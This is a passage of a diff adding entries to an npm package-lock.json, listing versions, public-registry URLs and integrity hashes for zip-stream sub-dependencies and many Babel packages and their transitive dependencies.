}, + "engines": { + "node": ">= 6" + } + }, + "node_modules/zip-stream/node_modules/compress-commons/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/zip-stream/node_modules/compress-commons/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/zip-stream/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/zip-stream/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/zip-stream/node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/zip-stream/node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "node_modules/zip-stream/node_modules/readable-stream": { + "version": "3.6.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", + "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/zip-stream/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/zip-stream/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + } + }, + "dependencies": { + "@ampproject/remapping": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", + "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==", + "peer": true, + "requires": { + "@jridgewell/gen-mapping": "^0.1.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@babel/cli": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.10.5.tgz", + "integrity": "sha512-j9H9qSf3kLdM0Ao3aGPbGZ73mEA9XazuupcS6cDGWuiyAcANoguhP0r2Lx32H5JGw4sSSoHG3x/mxVnHgvOoyA==", + "dev": true, + "requires": { + "chokidar": "^2.1.8", + "commander": "^4.0.1", + "convert-source-map": "^1.1.0", + "fs-readdir-recursive": "^1.1.0", + "glob": "^7.0.0", + "lodash": "^4.17.19", + "make-dir": "^2.1.0", + "slash": "^2.0.0", + "source-map": "^0.5.0" + }, + "dependencies": { + "anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "dev": true, + "optional": true, + "requires": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + }, + "dependencies": { + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "optional": true, + "requires": { + "remove-trailing-separator": "^1.0.1" + } + } + } + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true, + "optional": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true, + "optional": true + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "optional": true, + "requires": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "chokidar": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", + "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", + "dev": true, + "optional": true, + "requires": { + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "fsevents": "^1.2.7", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + } + }, + "commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "optional": true, + "requires": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "optional": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "optional": true, + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "optional": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "optional": true, + "requires": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "optional": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "optional": true, + "requires": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "fsevents": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", + "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", + "dev": true, + "optional": true, + "requires": { + "bindings": "^1.5.0", + "nan": "^2.12.1" + } + }, + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "optional": true, + "requires": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + }, + "dependencies": { + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "optional": true, + "requires": { + "is-extglob": "^2.1.0" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "optional": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true, + "optional": true + }, + "is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, + "optional": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true, + "optional": true + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "optional": true + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "optional": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + }, + "nan": { + "version": "2.14.1", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz", + "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==", + "dev": true, + "optional": true + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "optional": true + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true + }, + "readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "dev": true, + "optional": true, + "requires": { + "graceful-fs": "^4.1.11", + "micromatch": "^3.1.10", + "readable-stream": "^2.0.2" + } + }, + "slash": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz", + "integrity": "sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==", + "dev": true + }, + "upath": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "dev": true, + "optional": true + } + } + }, + "@babel/code-frame": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", + "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "requires": { + "@babel/highlight": "^7.18.6" + } + }, + "@babel/compat-data": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.21.0.tgz", + "integrity": "sha512-gMuZsmsgxk/ENC3O/fRw5QY8A9/uxQbbCEypnLIiYYc/qVJtEV7ouxC3EllIIwNzMqAQee5tanFabWsUOutS7g==" + }, + "@babel/core": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.21.0.tgz", + "integrity": "sha512-PuxUbxcW6ZYe656yL3EAhpy7qXKq0DmYsrJLpbB8XrsCP9Nm+XCg9XFMb5vIDliPD7+U/+M+QJlH17XOcB7eXA==", + "peer": true, + "requires": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.21.0", + "@babel/helper-compilation-targets": "^7.20.7", + "@babel/helper-module-transforms": "^7.21.0", + "@babel/helpers": "^7.21.0", + "@babel/parser": "^7.21.0", + "@babel/template": "^7.20.7", + "@babel/traverse": "^7.21.0", + "@babel/types": "^7.21.0", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.2", + "semver": "^6.3.0" + }, + "dependencies": { + "convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "peer": true + }, + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "peer": true, + "requires": { + "ms": "2.1.2" + } + }, + "json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "peer": true + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "peer": true + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true + } + } + }, + "@babel/generator": { + "version": "7.21.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.21.1.tgz", + "integrity": "sha512-1lT45bAYlQhFn/BHivJs43AiW2rg3/UbLyShGfF3C0KmHvO5fSghWd5kBJy30kpRRucGzXStvnnCFniCR2kXAA==", + "requires": { + "@babel/types": "^7.21.0", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + }, + "dependencies": { + "@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "requires": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==" + } + } + }, + "@babel/helper-annotate-as-pure": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", + "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.10.4.tgz", + "integrity": "sha512-L0zGlFrGWZK4PbT8AszSfLTM5sDU1+Az/En9VrdT8/LmEiJt4zXt+Jve9DCAnQcbqDhCI+29y/L93mrDzddCcg==", + "requires": { + "@babel/helper-explode-assignable-expression": "^7.10.4", + "@babel/types": "^7.10.4" + } + }, + "@babel/helper-compilation-targets": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.20.7.tgz", + "integrity": "sha512-4tGORmfQcrc+bvrjb5y3dG9Mx1IOZjsHqQVUz7XCNHO+iTmqxWnVg3KRygjGmpRLJGdQSKuvFinbIb0CnZwHAQ==", + "requires": { + "@babel/compat-data": "^7.20.5", + "@babel/helper-validator-option": "^7.18.6", + "browserslist": "^4.21.3", + "lru-cache": "^5.1.1", + "semver": "^6.3.0" + }, + "dependencies": { + "browserslist": { + "version": "4.21.5", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.5.tgz", + "integrity": "sha512-tUkiguQGW7S3IhB7N+c2MV/HZPSCPAAiYBZXLsBhFB/PCy6ZKKsZrmBayHV9fdGV/ARIfJ14NkxKzRDjvp7L6w==", + "requires": { + "caniuse-lite": "^1.0.30001449", + "electron-to-chromium": "^1.4.284", + "node-releases": "^2.0.8", + "update-browserslist-db": "^1.0.10" + } + }, + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "requires": { + "yallist": "^3.0.2" + } + }, + "node-releases": { + "version": "2.0.10", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.10.tgz", + "integrity": "sha512-5GFldHPXVG/YZmFzJvKK2zDSzPKhEp0+ZR5SVaoSag9fsL5YgHbUHDfnG5494ISANDcK4KwPXAx2xqVEydmd7w==" + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + }, + "update-browserslist-db": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz", + "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==", + "requires": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + } + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" + } + } + }, + "@babel/helper-create-class-features-plugin": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.21.0.tgz", + "integrity": "sha512-Q8wNiMIdwsv5la5SPxNYzzkPnjgC0Sy0i7jLkVOCdllu/xcVNkr3TeZzbHBJrj+XXRqzX5uCyCoV9eu6xUG7KQ==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-environment-visitor": "^7.18.9", + 